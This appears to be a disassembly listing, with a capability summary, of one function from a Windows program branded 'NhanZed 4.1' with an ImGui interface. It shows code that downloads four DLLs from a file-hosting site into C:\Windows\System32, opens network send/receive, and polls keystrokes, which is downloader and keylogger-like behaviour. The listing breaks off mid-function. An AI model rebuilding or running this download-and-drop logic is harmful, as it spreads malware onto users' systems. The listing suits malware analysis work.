Function at 0x14005ce90
Capabilities:
Create process on windows
Create thread
Download url
Encode data using xor
Log keystrokes via polling
Receive data
Terminate process

Disassembly:
push rbp
push r12
lea rbp, [rsp - 0x4de8]
mov eax, 0x4ee8
call fcn.1401316c0
sub rsp, rax
movups xmm0, xmmword [str.https:__files.catbox.moe_vewq1a.dll]
mov eax, dword [0x140172bb8]
lea r8, [rbp - 0x80]
movups xmm1, xmmword [0x140172ba8]
mov dword [rbp + 0x30], eax
lea rdx, [rbp + 0x10]
mov eax, dword [0x140172ac8]
xor r12d, r12d
mov dword [rbp - 0x68], eax
xor r9d, r9d
movzx eax, word [0x140172acc]
xor ecx, ecx
movups xmmword [rbp + 0x10], xmm0
mov word [rbp - 0x64], ax
movups xmm0, xmmword [str.C:WindowsSystem32_vewq1a.dll]
movzx eax, byte [0x140172ace]
movups xmmword [rbp + 0x20], xmm1
mov byte [rbp - 0x62], al
movsd xmm1, qword [0x140172ac0]
movups xmmword [rbp - 0x80], xmm0
mov qword [rsp + 0x20], r12
movsd qword [rbp - 0x70], xmm1
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [str.https:__files.catbox.moe_kl7uf0.dll]
mov eax, dword [0x140172be0]
lea r8, [rbp - 0x80]
movups xmm1, xmmword [0x140172bd0]
mov dword [rbp + 0x30], eax
lea rdx, [rbp + 0x10]
mov eax, dword [0x140172b40]
xor r9d, r9d
mov dword [rbp - 0x68], eax
xor ecx, ecx
movzx eax, word [0x140172b44]
movups xmmword [rbp + 0x10], xmm0
mov word [rbp - 0x64], ax
movups xmm0, xmmword [str.C:WindowsSystem32kl7uf0.dll]
movzx eax, byte [0x140172b46]
movups xmmword [rbp + 0x20], xmm1
mov byte [rbp - 0x62], al
movsd xmm1, qword [0x140172b38]
movups xmmword [rbp - 0x80], xmm0
mov qword [rsp + 0x20], r12
movsd qword [rbp - 0x70], xmm1
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [str.https:__files.catbox.moe_imfnmf.dll]
mov eax, dword [0x140172c08]
lea r8, [rbp - 0x80]
movups xmm1, xmmword [0x140172bf8]
mov dword [rbp + 0x30], eax
lea rdx, [rbp + 0x10]
mov eax, dword [0x140172b78]
xor r9d, r9d
mov dword [rbp - 0x68], eax
xor ecx, ecx
movzx eax, word [0x140172b7c]
movups xmmword [rbp + 0x10], xmm0
mov word [rbp - 0x64], ax
movups xmm0, xmmword [str.C:WindowsSystem32imfnmf.dll]
movzx eax, byte [0x140172b7e]
movups xmmword [rbp + 0x20], xmm1
mov byte [rbp - 0x62], al
movsd xmm1, qword [0x140172b70]
movups xmmword [rbp - 0x80], xmm0
mov qword [rsp + 0x20], r12
movsd qword [rbp - 0x70], xmm1
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
movups xmm0, xmmword [str.https:__files.catbox.moe_acg3ql.dll]
mov eax, dword [0x140172c30]
movups xmm1, xmmword [0x140172c20]
mov dword [rbp + 0x30], eax
mov eax, dword [0x140172b00]
movups xmmword [rbp + 0x10], xmm0
mov dword [rbp - 0x68], eax
movups xmm0, xmmword [str.C:WindowsSystem32_acg3ql.dll]
movzx eax, word [0x140172b04]
movups xmmword [rbp + 0x20], xmm1
mov word [rbp - 0x64], ax
movsd xmm1, qword [0x140172af8]
movups xmmword [rbp - 0x80], xmm0
movsd qword [rbp - 0x70], xmm1
movzx eax, byte [0x140172b06]
lea r8, [rbp - 0x80]
xor r9d, r9d
mov byte [rbp - 0x62], al
lea rdx, [rbp + 0x10]
mov qword [rsp + 0x20], r12
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor r9d, r9d
mov qword [rsp + 0x28], r12
lea r8, [0x14005b4f0]
mov dword [rsp + 0x20], r12d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
call fcn.140057d00
xor r9d, r9d
mov qword [rsp + 0x28], r12
lea r8, [0x1400573c0]
mov dword [rsp + 0x20], r12d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
xor r9d, r9d
mov qword [rsp + 0x28], r12
lea r8, [0x140057500]
mov dword [rsp + 0x20], r12d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea rdx, [0x140056b00]
lea rcx, [rbp + 0x50]
call fcn.1400656e0
lea rcx, [rbp + 0x50]
call fcn.1400502b0
cmp dword [rbp + 0x58], r12d
je 0x14005d0e5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
mov rcx, qword [0x1403b0318]
call fcn.140056b60
lea rcx, [0x1403d16d0]
call fcn.1400da780
cmp dword [0x1403b0378], r12d
jne 0x14005d119
call fcn.140065a90
mov rcx, rax
call fcn.1400659f0
mov dword [0x1403b0378], eax
call fcn.140065a90
mov edx, dword [0x1403b0378]
mov rcx, rax
call fcn.140065930
lea rcx, [0x1403d16d0]
call fcn.1400da780
cmp byte [0x1403d18e8], r12b
jne 0x14005d172
lea rcx, [0x1403d18f0]
call fcn.140043c10
mov rdx, rax
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rax, [0x140063c60]
mov qword [rsp + 0x4f00], rbx
mov edx, 0x7f00
mov qword [rbp + 0xd8], rax
xor ecx, ecx
mov qword [rsp + 0x4ed8], r14
mov dword [rbp + 0xd0], 0x50
mov dword [rbp + 0xd4], 0x40
mov qword [rbp + 0xe0], r12
mov qword [rbp + 0xe8], r12
call qword [sym.imp.USER32.dll_LoadIconA]
mov edx, 0x7f00
xor ecx, ecx
mov qword [rbp + 0xf0], rax
call qword [sym.imp.USER32.dll_LoadCursorA]
mov edx, 0x7f00
mov qword [rbp + 0x100], r12
mov qword [rbp + 0xf8], rax
xor ecx, ecx
lea rax, str.ImGui
mov qword [rbp + 0x108], rax
lea rax, str.NhanZed
mov qword [rbp + 0x110], rax
call qword [sym.imp.USER32.dll_LoadIconA]
lea rcx, [rbp + 0xd0]
mov qword [rbp + 0x118], rax
call qword [sym.imp.USER32.dll_RegisterClassExW]
mov r14d, 1
mov ecx, r14d
call qword [sym.imp.USER32.dll_GetSystemMetrics]
cdq
xor ecx, ecx
sub eax, edx
sar eax, 1
lea ebx, [rax - 0x140]
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov qword [rsp + 0x58], r12
lea r8, str.NhanZed_4.1
mov qword [rsp + 0x50], r12
cdq
mov qword [rsp + 0x48], r12
sub eax, edx
mov rdx, qword [rbp + 0x110]
mov r9d, 0x80000000
mov qword [rsp + 0x40], r12
xor ecx, ecx
mov dword [rsp + 0x38], 0x280
sar eax, 1
sub eax, 0x1db
mov dword [rsp + 0x30], 0x3b6
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], eax
call qword [sym.imp.USER32.dll_CreateWindowExW]
lea ecx, [r14 + 0x2d]
mov qword [0x1403b0348], rax
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test r14b, al
je 0x14005d2b1
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
movdqa xmm0, xmmword [0x140173a30]
lea rdx, [rbp + 0x930]
mov rcx, qword [0x1403b0348]
movdqu xmmword [rbp + 0x930], xmm0
call qword [sym.imp.dwmapi.dll_DwmExtendFrameIntoClientArea]
mov rcx, qword [0x1403b0348]
lea rdx, [0x1403b0368]
xorps xmm0, xmm0
movups xmmword [0x1403b0368], xmm0
call qword [sym.imp.USER32.dll_GetWindowRect]
mov rcx, qword [0x1403b0348]
call fcn.140063a50
test al, al
jne 0x14005d324
call fcn.140063be0
mov rdx, qword [rbp + 0xe8]
mov rcx, qword [rbp + 0x110]
call qword [sym.imp.USER32.dll_UnregisterClassW]
mov eax, r14d
jmp 0x140063977
mov rcx, qword [0x1403b0348]
mov edx, 0xa
mov qword [rsp + 0x4f10], rdi
movaps xmmword [rsp + 0x4ec0], xmm6
movaps xmmword [rsp + 0x4eb0], xmm7
movaps xmmword [rsp + 0x4e30], xmm15
call qword [sym.imp.USER32.dll_ShowWindow]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [0x1403b0348]
call qword [sym.imp.USER32.dll_UpdateWindow]
mov qword [rsp + 0x30], 2
lea rcx, str.1.89.6
mov qword [rsp + 0x28], reloc.WS2_32.dll_sendto
mov edx, 0x37c8
mov r9d, 8
mov qword [rsp + 0x20], reloc.WS2_32.dll_recv
mov r8d, 0x448
call fcn.140016cc0
xor ecx, ecx
call fcn.1400065e0
mov rbx, qword [0x1403b02a0]
test rbx, rbx
jne 0x14005d3e1
mov r8d, 0x1033
lea rdx, str.C:UsersAlwayshappyDownloadsQazaq_Project1Qazaq_ProjectImgui_Design_V3imgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rbx, qword [0x1403b02a0]
or dword [rbx + 8], 3
lea rcx, [rbp + 0xc60]
call fcn.140029890
movss xmm6, dword [0x140173888]
lea rax, [rbp + 0xc60]
mov dword [rbp + 0xcac], 0x10c
lea rdi, [0x14016bd60]
mov rcx, qword [rbx + 0x58]
lea rdx, [0x140383710]
mov qword [rsp + 0x28], rdi
movaps xmm3, xmm6
mov r8d, 0x26368
mov qword [rsp + 0x20], rax
call fcn.14002a3e0
movss xmm7, dword [0x140173880]
lea rdx, [0x140383710]
mov rcx, qword [rbx + 0x58]
movaps xmm3, xmm7
mov qword [0x1403b0328], rax
mov r8d, 0x26368
lea rax, [rbp + 0xc60]
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rax
call fcn.14002a3e0
movss xmm3, dword [0x1401738a4]
lea rdx, [0x140247d50]
mov rcx, qword [rbx + 0x58]
mov r8d, 0xf40
mov qword [0x1403b03b0], rax
lea rax, [rbp + 0xc60]
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rax
call fcn.14002a3e0
mov rcx, qword [rbx + 0x58]
lea rdx, [0x1402223f0]
mov qword [0x1403b03b8], rax
movaps xmm3, xmm6
lea rax, [rbp + 0xc60]
mov qword [rsp + 0x28], rdi
mov r8d, 0x25958
mov qword [rsp + 0x20], rax
call fcn.14002a3e0
movss xmm3, dword [0x1401738ac]
lea rdx, [0x1402223f0]
mov rcx, qword [rbx + 0x58]
mov r8d, 0x25958
mov qword [0x1403b03c8], rax
lea rax, [rbp + 0xc60]
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rax
call fcn.14002a3e0
movss xmm3, dword [0x140173894]
lea rdx, [0x140248c90]
mov rcx, qword [rbx + 0x58]
mov r8d, 0x954
mov qword [0x1403b0330], rax
lea rax, [rbp + 0xc60]
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rax
call fcn.14002a3e0
mov rcx, qword [rbx + 0x58]
lea rdx, [0x14026e3f0]
mov qword [0x1403b03c0], rax
movaps xmm3, xmm6
lea rax, [rbp + 0xc60]
mov qword [rsp + 0x28], rdi
mov r8d, 0x4ba44
mov qword [rsp + 0x20], rax
call fcn.14002a3e0
mov rcx, qword [rbx + 0x58]
lea rax, [rbp + 0xc60]
mov qword [rsp + 0x28], rdi
lea rdx, [0x140190120]
movaps xmm3, xmm6
mov qword [rsp + 0x20], rax
mov r8d, 0x4d2c4
call fcn.14002a3e0
mov qword [0x1403b0338], rax
lea rax, [rbp + 0xc60]
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rax
mov rcx, qword [rbx + 0x58]
lea rdx, [0x1402bdc60]
movaps xmm3, xmm7
mov r8d, 0xb18
call fcn.14002a3e0
movss xmm15, dword [0x1401738b8]
lea rdx, [0x14024d410]
mov rcx, qword [rbx + 0x58]
movaps xmm3, xmm15
mov qword [rsp + 0x28], rdi
mov r8d, 0x20fe0
mov qword [0x1403b0340], rax
mov qword [rsp + 0x20], r12
call fcn.14002a3e0
cmp qword [0x1403b02e0], r12
mov qword [rbp + 0xb8], rax
jne 0x14005d64e
mov rcx, qword [0x1403b0380]
lea rax, [0x1403b02e0]
mov qword [rsp + 0x30], r12
lea r9, [0x1403aeed8]
mov qword [rsp + 0x28], rax
lea rdx, [0x1401dd3f0]
mov qword [rsp + 0x20], rcx
mov r8d, 0x40f8a
mov rcx, qword [0x1403e61b8]
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x1403b02d8], r12
jne 0x14005d695
mov rcx, qword [0x1403e61b8]
lea rax, [0x1403b02d8]
mov qword [rsp + 0x30], r12
lea r9, [0x1403aeed8]
mov qword [rsp + 0x28], rax
lea rdx, [0x1403a9a80]
mov rax, qword [0x1403b0380]
mov r8d, 0x3f8e
mov qword [rsp + 0x20], rax
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x1403b02c8], r12
jne 0x14005d6dc
mov rcx, qword [0x1403e61b8]
lea rax, [0x1403b02c8]
mov qword [rsp + 0x30], r12
lea r9, [0x1403aeed8]
mov qword [rsp + 0x28], rax
lea rdx, [0x1402c25a0]
mov rax, qword [0x1403b0380]
mov r8d, 0xc1167
mov qword [rsp + 0x20], rax
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x1403b0308], r12
jne 0x14005d723
mov rcx, qword [0x1403e61b8]
lea rax, [0x1403b0308]
mov qword [rsp + 0x30], r12
lea r9, [0x1403aeed8]
mov qword [rsp + 0x28], rax
lea rdx, [0x1402be780]
mov rax, qword [0x1403b0380]
mov r8d, 0x3e1c
mov qword [rsp + 0x20], rax
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x1403b0300], r12
jne 0x14005d76a
mov rcx, qword [0x1403e61b8]
lea rax, [0x1403b0300]
mov qword [rsp + 0x30], r12
lea r9, [0x1403aeed8]
mov qword [rsp + 0x28], rax
lea rdx, [0x1402495f0]
mov rax, qword [0x1403b0380]
mov r8d, 0x3e1c
mov qword [rsp + 0x20], rax
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x1403b02e8], r12
jne 0x14005d7b1
mov rcx, qword [0x1403e61b8]
lea rax, [0x1403b02e8]
mov qword [rsp + 0x30], r12
lea r9, [0x1403aeed8]
mov qword [rsp + 0x28], rax
lea rdx, [0x14018c300]
mov rax, qword [0x1403b0380]
mov r8d, 0x3e1c
mov qword [rsp + 0x20], rax
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x1403b0310], r12
jne 0x14005d7f8
mov rcx, qword [0x1403e61b8]
lea rax, [0x1403b0310]
mov qword [rsp + 0x30], r12
lea r9, [0x1403aeed8]
mov qword [rsp + 0x28], rax
lea rdx, [0x1402b9e40]
mov rax, qword [0x1403b0380]
mov r8d, 0x3e1c
mov qword [rsp + 0x20], rax
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x1403b02f8], r12
jne 0x14005d83f
mov rcx, qword [0x1403e61b8]
lea rax, [0x1403b02f8]
mov qword [rsp + 0x30], r12
lea r9, [0x1403aeed8]
mov qword [rsp + 0x28], rax
lea rdx, [0x14021e380]
mov rax, qword [0x1403b0380]
mov r8d, reloc.WLDAP32.dll_Ordinal_211
mov qword [rsp + 0x20], rax
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x1403b02d0], r12
jne 0x14005d886
mov rcx, qword [0x1403e61b8]
lea rax, [0x1403b02d0]
mov qword [rsp + 0x30], r12
lea r9, [0x1403aeed8]
mov qword [rsp + 0x28], rax
lea rdx, [0x14018c0d0]
mov rax, qword [0x1403b0380]
mov r8d, 0x230
mov qword [rsp + 0x20], rax
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x1403b02f0], r12
jne 0x14005d8cd
mov rcx, qword [0x1403e61b8]
lea rax, [0x1403b02f0]
mov qword [rsp + 0x30], r12
lea r9, [0x1403aeed8]
mov qword [rsp + 0x28], rax
lea rdx, [0x14021e460]
mov rax, qword [0x1403b0380]
mov r8d, 0x3f8e
mov qword [rsp + 0x20], rax
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
mov rcx, qword [0x1403b0348]
xor edx, edx
call fcn.1400464a0
mov rdx, qword [0x1403e6208]
mov rcx, qword [0x1403e61b8]
call fcn.1400461c0
mov ecx, dword [0x1403b02c4]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test r14b, al
je 0x14005d925
lea rdx, [0x14005bad0]
lea rcx, [rbp + 0x50]
call fcn.1400656e0
lea rcx, [rbp + 0x50]
call fcn.1400502b0
cmp dword [rbp + 0x58], r12d
je 0x14005d925
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
movss xmm7, dword [0x1401739e8]
xor bl, bl
movss xmm6, dword [0x140173960]
movaps xmmword [rsp + 0x4ea0], xmm8
movss xmm8, dword [0x140173958]
movaps xmmword [rsp + 0x4e90], xmm9
xorps xmm9, xmm9
movaps xmmword [rsp + 0x4e80], xmm10
movss xmm10, dword [0x1401738d8]
movaps xmmword [rsp + 0x4e70], xmm11
movss xmm11, dword [0x1401737bc]
movaps xmmword [rsp + 0x4e60], xmm12
movss xmm12, dword [0x1401737e0]
movaps xmmword [rsp + 0x4e50], xmm13
movss xmm13, dword [0x14017381c]
movaps xmmword [rsp + 0x4e40], xmm14
movss xmm14, dword [0x140173784]
mov qword [rsp + 0x4f08], rsi
mov qword [rsp + 0x4ee0], r13
mov qword [rsp + 0x4ed0], r15
mov dword [rbp - 0x50], ebx
nop dword [rax + rax]
xor r9d, r9d
mov dword [rsp + 0x20], r14d
xor r8d, r8d
lea rcx, [rbp + 0xc30]
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x14005da41
nop
lea rcx, [rbp + 0xc30]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0xc30]
call qword [sym.imp.USER32.dll_DispatchMessageA]
cmp dword [rbp + 0xc38], 0x12
lea rcx, [rbp + 0xc30]
movzx ebx, bl
cmove ebx, r14d
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
jne 0x14005d9f0
mov dword [rbp - 0x50], ebx
test bl, bl
jne 0x1400638c6
mov ecx, Ordinal_50
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movzx ebx, ax
mov ecx, reloc.WLDAP32.dll_Ordinal_50
shr ebx, 0xf
and bl, 1
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movzx edi, ax
mov ecx, 0x33
shr edi, 0xf
and dil, 1
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movzx esi, ax
mov ecx, reloc.WS2_32.dll_WSASetLastError
shr esi, 0xf
and sil, 1
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movzx r14d, ax
mov ecx, WSAStartup
shr r14d, 0xf
and r14b, 1
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movzx r15d, ax
mov ecx, WSAStartup
shr r15d, 0xf
and r15b, 1
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movzx r12d, ax
mov ecx, reloc.WS2_32.dll_WSAStartup
shr r12d, 0xf
and r12b, 1
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movzx r13d, ax
mov ecx, 0x51
shr r13d, 0xf
and r13b, 1
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
shr eax, 0xf
mov ecx, 0x45
and al, 1
mov dword [rsp + 0x70], eax
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
mov ecx, dword [0x1403b03d8]
movzx r10d, ax
movzx r11d, byte [0x1403b03d2]
movzx edx, byte [0x1403b03aa]
movzx r8d, byte [0x1403b0327]
shr r10d, 0xf
and r10b, 1
cmp ecx, 1
jne 0x14005db58
test bl, bl
je 0x14005dcfb
mov r9d, dword [rsp + 0x70]
movzx ecx, byte [0x1403b02c1]
test r11b, r11b
jne 0x14005dd07
cmp byte [0x1403b039a], r11b
sete byte [0x1403b039a]
jmp 0x14005dd07
cmp ecx, 2
jne 0x14005db8c
test dil, dil
je 0x14005dcfb
mov r9d, dword [rsp + 0x70]
movzx ecx, byte [0x1403b02c1]
test dl, dl
jne 0x14005dd07
cmp byte [0x1403b039a], dl
sete byte [0x1403b039a]
jmp 0x14005dd07
cmp ecx, 3
jne 0x14005dbc2
test sil, sil
je 0x14005dcfb
mov r9d, dword [rsp + 0x70]
movzx ecx, byte [0x1403b02c1]
test r8b, r8b
jne 0x14005dd07
cmp byte [0x1403b039a], r8b
sete byte [0x1403b039a]
jmp 0x14005dd07
cmp ecx, 4
jne 0x14005dbf6
movzx ecx, byte [0x1403b02c1]
mov r9d, dword [rsp + 0x70]
test r14b, r14b
je 0x14005dd07
test cl, cl
jne 0x14005dd07
cmp byte [0x1403b039a], cl
sete byte [0x1403b039a]
jmp 0x14005dd07
cmp ecx, 5
jne 0x14005dc30
test r15b, r15b
je 0x14005dcfb
cmp byte [0x1403b035b], 0
mov r9d, dword [rsp + 0x70]
movzx ecx, byte [0x1403b02c1]
jne 0x14005dd07
cmp byte [0x1403b039a], 0
sete byte [0x1403b039a]
jmp 0x14005dd07
cmp ecx, 6
jne 0x14005dc6a
test r12b, r12b
je 0x14005dcfb
cmp byte [0x1403b0323], 0
mov r9d, dword [rsp + 0x70]
movzx ecx, byte [0x1403b02c1]
jne 0x14005dd07
cmp byte [0x1403b039a], 0
sete byte [0x1403b039a]
jmp 0x14005dd07
cmp ecx, 7
jne 0x14005dc9d
test r13b, r13b
je 0x14005dcfb
cmp byte [0x1403b03de], 0
mov r9d, dword [rsp + 0x70]
movzx ecx, byte [0x1403b02c1]
jne 0x14005dd07
cmp byte [0x1403b039a], 0
sete byte [0x1403b039a]
jmp 0x14005dd07
cmp ecx, 8
jne 0x14005dccc
mov r9d, dword [rsp + 0x70]
test r9b, r9b
je 0x14005dd00
cmp byte [0x1403b0299], 0
movzx ecx, byte [0x1403b02c1]
jne 0x14005dd07
cmp byte [0x1403b039a], 0
sete byte [0x1403b039a]
jmp 0x14005dd07
cmp ecx, 9
jne 0x14005dcfb
test r10b, r10b
je 0x14005dcfb
cmp byte [0x1403b0358], 0
mov r9d, dword [rsp + 0x70]
movzx ecx, byte [0x1403b02c1]
jne 0x14005dd07
cmp byte [0x1403b039a], 0
sete byte [0x1403b039a]
jmp 0x14005dd07
mov r9d, dword [rsp + 0x70]
movzx ecx, byte [0x1403b02c1]
mov eax, dword [0x1403e619c]
cmp eax, 1
jne 0x14005dd22
test bl, bl
je 0x14005ddc2
test r11b, r11b
jmp 0x14005ddb2
cmp eax, 2
jne 0x14005dd34
test dil, dil
je 0x14005ddc2
test dl, dl
jmp 0x14005ddb2
cmp eax, 3
jne 0x14005dd47
test sil, sil
je 0x14005ddc2
test r8b, r8b
jmp 0x14005ddb2
cmp eax, 4
jne 0x14005dd55
test r14b, r14b
je 0x14005ddc2
test cl, cl
jmp 0x14005ddb2
cmp eax, 5
jne 0x14005dd68
test r15b, r15b
je 0x14005ddc2
cmp byte [0x1403b035b], 0
jmp 0x14005ddb2
cmp eax, 6
jne 0x14005dd7b
test r12b, r12b
je 0x14005ddc2
cmp byte [0x1403b0323], 0
jmp 0x14005ddb2
cmp eax, 7
jne 0x14005dd8e
test r13b, r13b
je 0x14005ddc2
cmp byte [0x1403b03de], 0
jmp 0x14005ddb2
cmp eax, 8
jne 0x14005dda1
test r9b, r9b
je 0x14005ddc2
cmp byte [0x1403b0299], 0
jmp 0x14005ddb2
cmp eax, 9
jne 0x14005ddc2
test r10b, r10b
je 0x14005ddc2
cmp byte [0x1403b0358], 0
jne 0x14005ddc2
cmp byte [0x1403b039d], 0
sete byte [0x1403b039d]
mov eax, dword [0x1403b02b4]
cmp eax, 1
jne 0x14005dddd
test bl, bl
je 0x14005de7d
test r11b, r11b
jmp 0x14005de6d
cmp eax, 2
jne 0x14005ddef
test dil, dil
je 0x14005de7d
test dl, dl
jmp 0x14005de6d
cmp eax, 3
jne 0x14005de02
test sil, sil
je 0x14005de7d
test r8b, r8b
jmp 0x14005de6d
cmp eax, 4
jne 0x14005de10
test r14b, r14b
je 0x14005de7d
test cl, cl
jmp 0x14005de6d
cmp eax, 5
jne 0x14005de23
test r15b, r15b
je 0x14005de7d
cmp byte [0x1403b035b], 0
jmp 0x14005de6d
cmp eax, 6
jne 0x14005de36
test r12b, r12b
je 0x14005de7d
cmp byte [0x1403b0323], 0
jmp 0x14005de6d
cmp eax, 7
jne 0x14005de49
test r13b, r13b
je 0x14005de7d
cmp byte [0x1403b03de], 0
jmp 0x14005de6d
cmp eax, 8
jne 0x14005de5c
test r9b, r9b
je 0x14005de7d
cmp byte [0x1403b0299], 0
jmp 0x14005de6d
cmp eax, 9
jne 0x14005de7d
test r10b, r10b
je 0x14005de7d
cmp byte [0x1403b0358], 0
jne 0x14005de7d
cmp byte [0x1403b0325], 0
sete byte [0x1403b0325]
mov eax, dword [0x1403e61a0]
cmp eax, 1
jne 0x14005de98
test bl, bl
je 0x14005df38
test r11b, r11b
jmp 0x14005df28
cmp eax, 2
jne 0x14005deaa
test dil, dil
je 0x14005df38
test dl, dl
jmp 0x14005df28
cmp eax, 3
jne 0x14005debd
test sil, sil
je 0x14005df38
test r8b, r8b
jmp 0x14005df28
cmp eax, 4
jne 0x14005decb
test r14b, r14b
je 0x14005df38
test cl, cl
jmp 0x14005df28
cmp eax, 5
jne 0x14005dede
test r15b, r15b
je 0x14005df38
cmp byte [0x1403b035b], 0
jmp 0x14005df28
cmp eax, 6
jne 0x14005def1
test r12b, r12b
je 0x14005df38
cmp byte [0x1403b0323], 0
jmp 0x14005df28
cmp eax, 7
jne 0x14005df04
test r13b, r13b
je 0x14005df38
cmp byte [0x1403b03de], 0
jmp 0x14005df28
cmp eax, 8
jne 0x14005df17
test r9b, r9b
je 0x14005df38
cmp byte [0x1403b0299], 0
jmp 0x14005df28
cmp eax, 9
jne 0x14005df38
test r10b, r10b
je 0x14005df38
cmp byte [0x1403b0358], 0
jne 0x14005df38
cmp byte [0x1403b0397], 0
sete byte [0x1403b0397]
mov eax, dword [0x1403e6204]
cmp eax, 1
jne 0x14005df53
test bl, bl
je 0x14005dff3
test r11b, r11b
jmp 0x14005dfe3
cmp eax, 2
jne 0x14005df65
test dil, dil
je 0x14005dff3
test dl, dl
jmp 0x14005dfe3
cmp eax, 3
jne 0x14005df78
test sil, sil
je 0x14005dff3
test r8b, r8b
jmp 0x14005dfe3
cmp eax, 4
jne 0x14005df86
test r14b, r14b
je 0x14005dff3
test cl, cl
jmp 0x14005dfe3
cmp eax, 5
jne 0x14005df99
test r15b, r15b
je 0x14005dff3
cmp byte [0x1403b035b], 0
jmp 0x14005dfe3
cmp eax, 6
jne 0x14005dfac
test r12b, r12b
je 0x14005dff3
cmp byte [0x1403b0323], 0
jmp 0x14005dfe3
cmp eax, 7
jne 0x14005dfbf
test r13b, r13b
je 0x14005dff3
cmp byte [0x1403b03de], 0
jmp 0x14005dfe3
cmp eax, 8
jne 0x14005dfd2
test r9b, r9b
je 0x14005dff3
cmp byte [0x1403b0299], 0
jmp 0x14005dfe3
cmp eax, 9
jne 0x14005dff3
test r10b, r10b
je 0x14005dff3
cmp byte [0x1403b0358], 0
jne 0x14005dff3
cmp byte [0x1403b039b], 0
sete byte [0x1403b039b]
mov eax, dword [0x1403e6198]
cmp eax, 1
jne 0x14005e00e
test bl, bl
je 0x14005e0ae
test r11b, r11b
jmp 0x14005e09e
cmp eax, 2
jne 0x14005e020
test dil, dil
je 0x14005e0ae
test dl, dl
jmp 0x14005e09e
cmp eax, 3
jne 0x14005e033
test sil, sil
je 0x14005e0ae
test r8b, r8b
jmp 0x14005e09e
cmp eax, 4
jne 0x14005e041
test r14b, r14b
je 0x14005e0ae
test cl, cl
jmp 0x14005e09e
cmp eax, 5
jne 0x14005e054
test r15b, r15b
je 0x14005e0ae
cmp byte [0x1403b035b], 0
jmp 0x14005e09e
cmp eax, 6
jne 0x14005e067
test r12b, r12b
je 0x14005e0ae
cmp byte [0x1403b0323], 0
jmp 0x14005e09e
cmp eax, 7
jne 0x14005e07a
test r13b, r13b
je 0x14005e0ae
cmp byte [0x1403b03de], 0
jmp 0x14005e09e
cmp eax, 8
jne 0x14005e08d
test r9b, r9b
je 0x14005e0ae
cmp byte [0x1403b0299], 0
jmp 0x14005e09e
cmp eax, 9
jne 0x14005e0ae
test r10b, r10b
je 0x14005e0ae
cmp byte [0x1403b0358], 0
jne 0x14005e0ae
cmp byte [0x1403b0399], 0
sete byte [0x1403b0399]
mov eax, dword [0x1403b02b8]
cmp eax, 1
jne 0x14005e0c9
test bl, bl
je 0x14005e169
test r11b, r11b
jmp 0x14005e159
cmp eax, 2
jne 0x14005e0db
test dil, dil
je 0x14005e169
test dl, dl
jmp 0x14005e159
cmp eax, 3
jne 0x14005e0ee
test sil, sil
je 0x14005e169
test r8b, r8b
jmp 0x14005e159
cmp eax, 4
jne 0x14005e0fc
test r14b, r14b
je 0x14005e169
test cl, cl
jmp 0x14005e159
cmp eax, 5
